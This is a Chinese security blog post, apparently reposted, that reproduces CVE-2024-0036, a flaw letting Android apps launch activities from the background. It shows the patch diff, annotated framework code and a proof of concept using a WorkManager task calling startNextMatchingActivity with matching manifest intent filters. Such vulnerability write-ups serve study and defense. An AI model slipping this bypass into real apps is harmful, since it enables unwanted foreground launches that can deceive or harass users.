android漏洞复现:从后台启动Activity

admin 2024年3月15日01:42:32评论64 views字数 8744阅读29分8秒阅读模式

从10开始,安卓对从后台启动Activity做了限制。比如,当我们有一个service通过startActivity启动一个activity时,会出现以下错误信息:

ActivityManager system_server W Background start not allowed: service Intent { act=snowman.xxx } to com.example.cvepoc/.MyService from pid=6111 uid=0 pkg=com.android.shell startFg?=false
➜ ~ adb shell am start-service -a snowman.xxx
Starting service: Intent { act=snowman.xxx }
Error: app is in background uid UidRecord{111568c u0a146 LAST bg:+7m11s327ms idle change:idle procs:0 seq(0,0,0)}

在什么情况下可以打开一个activity呢?有以下几个条件:

  • app在前端有可见窗口

  • 在前端任务的acitivty栈中其中有一个属于该app

  • app的acitivty在很短时间内打开过或者刚结束

  • app实现了特定的服务


具体信息可参考https://developer.android.com/guide/components/activities/background-starts

今天要分析并复现的漏洞是CVE-2024-0036

先看patch


diff --git a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
index 6b65922..dd3a3c5 100644
--- a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
+++ b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
@@ -1412,7 +1412,12 @@
 
             final long origId = Binder.clearCallingIdentity();
             // TODO(b/64750076): Check if calling pid should really be -1.
- final int res = getActivityStartController()
+ try {
+ if (options == null) {
+ options = new SafeActivityOptions(ActivityOptions.makeBasic());
+ }
+ options.getOptions(r).setAvoidMoveToFront();
+ final int res = getActivityStartController()
                     .obtainStarter(intent, "startNextMatchingActivity")
                     .setCaller(r.app.getThread())
                     .setResolvedType(r.resolvedType)
@@ -1428,13 +1433,11 @@
                     .setRealCallingUid(r.launchedFromUid)
                     .setActivityOptions(options)
                     .execute();
- Binder.restoreCallingIdentity(origId);
-
- r.finishing = wasFinishing;
- if (res != ActivityManager.START_SUCCESS) {
- return false;
+ r.finishing = wasFinishing;
+ return res == ActivityManager.START_SUCCESS;
+ } finally {
+ Binder.restoreCallingIdentity(origId);
             }
- return true;
         }
     }

这个patch最值得注意的是当options为null时,创建SafeActivityOptions


漏洞验证



首先找到可以在后台运行任务的方法


WorkManager workManager = WorkManager.getInstance(getApplicationContext());
        PeriodicWorkRequest.Builder workRequestBuild = new PeriodicWorkRequest.Builder(
                MyWorker.class, 15, TimeUnit.MINUTES)
                .setConstraints(
                        new Constraints.Builder().
                                setRequiresCharging(true)
                                .setRequiredNetworkType(NetworkType.CONNECTED)
                                .build()
                );

        workManager.enqueue(workRequestBuild.build());


public class MyWorker extends Worker {
    public static WeakReference<Activity> activityWeakReference;
    public MyWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
        super(context, workerParams);
    }

    @NonNull
    @Override
    public Result doWork() {
        Activity activity = activityWeakReference.get();
        activity.startNextMatchingActivity(new Intent(Intent.ACTION_VIEW)
                .setData(Uri.parse("ss://snowman.cafe"))
                .addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION)
                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
        return Result.success();
    }
}

接下来仔细看一下startNextMatchingActivity这个关键函数,内部实现决定了漏洞如何验证。对这个漏洞的分析和关键点标柱在下方代码注释中体现。

@Override
    public boolean startNextMatchingActivity(IBinder callingActivity, Intent intent,
            Bundle bOptions)
 
{
//  intent参数来自于poc调用,攻击者完全可控
            final ActivityRecord r = ActivityRecord.isInRootTaskLocked(callingActivity);
// r指向调用当前的activity
            intent = new Intent(intent);
            // The caller is not allowed to change the data.
            intent.setDataAndType(r.intent.getData(), r.intent.getType());
            // And we are resetting to find the next component...
            intent.setComponent(null);
// 我们传入的intent被修改,修改为当前activity的data

            ActivityInfo aInfo = null;
            try {
                List<ResolveInfo> resolves =
                        AppGlobals.getPackageManager().queryIntentActivities(
                                intent, r.resolvedType,
                                PackageManager.MATCH_DEFAULT_ONLY | STOCK_PM_FLAGS,
                                UserHandle.getCallingUserId()).getList();

                // Look for the original activity in the list...
                final int N = resolves != null ? resolves.size() : 0;
                for (int i = 0; i < N; i++) {
                    ResolveInfo rInfo = resolves.get(i);
                    if (rInfo.activityInfo.packageName.equals(r.packageName)
                            && rInfo.activityInfo.name.equals(r.info.name)) {
                        // We found the current one... the next matching is
                        // after it.
                        i++;
                        if (i < N) {
                            aInfo = resolves.get(i).activityInfo;
                        }
// 这里限制了打开的nextActivity和当前activity同属一个应用
                        break;
                    }
                }
            } catch (RemoteException e) {
            }


            intent.setComponent(new ComponentName(
                    aInfo.applicationInfo.packageName, aInfo.name));
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_ACTIVITY_FORWARD_RESULT
                    | Intent.FLAG_ACTIVITY_CLEAR_TOP
                    | Intent.FLAG_ACTIVITY_MULTIPLE_TASK
                    | FLAG_ACTIVITY_NEW_TASK));

            
                final int res = getActivityStartController()
                        .obtainStarter(intent, "startNextMatchingActivity")
                        .setCaller(r.app.getThread())
                        .setResolvedType(r.resolvedType)
                        .setActivityInfo(aInfo)
                        .setResultTo(resultTo != null ? resultTo.token : null)
                        .setResultWho(resultWho)
                        .setRequestCode(requestCode)
                        .setCallingPid(-1)
                        .setCallingUid(r.launchedFromUid)
                        .setCallingPackage(r.launchedFromPackage)
                        .setCallingFeatureId(r.launchedFromFeatureId)
                        .setRealCallingPid(-1)
                        .setRealCallingUid(r.launchedFromUid)
                        .setActivityOptions(options)
                        .execute();
                r.finishing = wasFinishing;
                return res == ActivityManager.START_SUCCESS;
            } finally {
                Binder.restoreCallingIdentity(origId);
            }
        }
    }

基于此,我们可以创建三个activity,满足以上条件

首先是调用startNextMatchingActivity的当前Activity


<activity
            android:name=".MainActivity"
            android:exported="true"
            android:label="@string/title_activity_main2"
            android:theme="@style/Theme.CvePoc">

            <intent-filter>
                <action android:name="android.intent.action.VIEW" />

                <category android:name="android.intent.category.DEFAULT" />

                <data
                    android:host="snowman.cafe"
                    android:scheme="ss" />

            </intent-filter>
</activity>


<activity
            android:name=".SettingsActivity"
            android:exported="true"
            android:label="@string/title_activity_settings">

            <intent-filter>
                <action android:name="android.intent.action.VIEW" />

                <category android:name="android.intent.category.DEFAULT" />

                <data
                    android:host="snowman.cafe"
                    android:scheme="ss" />

            </intent-filter>
        </activity>

当前Activity的onCreate函数实现,创建一个后台任务

MyService.activityWeakReference = new WeakReference<>(MainActivity.this);
        MyWorker.activityWeakReference = new WeakReference<>(MainActivity.this);

        WorkManager workManager = WorkManager.getInstance(getApplicationContext());
        PeriodicWorkRequest.Builder workRequestBuild = new PeriodicWorkRequest.Builder(
                MyWorker.class, 15, TimeUnit.MINUTES)
                .setConstraints(
                        new Constraints.Builder().
                                setRequiresCharging(true)
                                .setRequiredNetworkType(NetworkType.CONNECTED)
                                .build()
                );

        workManager.enqueue(workRequestBuild.build());

由后台任务调用存在漏洞的函数startNextMatchingActivity


public Result doWork() {
        Activity activity = activityWeakReference.get();
        activity.startNextMatchingActivity(new Intent(Intent.ACTION_VIEW)
                .setData(Uri.parse("ss://snowman.cafe"))
                .addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION)
                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
        return Result.success();
    }



需要注意的是,满足过滤条件的Activity是根据activity在AndroidManifest.xml
AndroidManifest.xml定义的顺序。

致谢




最后非常感谢一位网友的交流讨论,这篇文章终于画上了句号。

原文始发于微信公众号(大山子雪人):android漏洞复现:从后台启动Activity

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月15日01:42:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   android漏洞复现:从后台启动Activityhttp://cn-sec.com/archives/2575631.html

发表评论

匿名网友 填写信息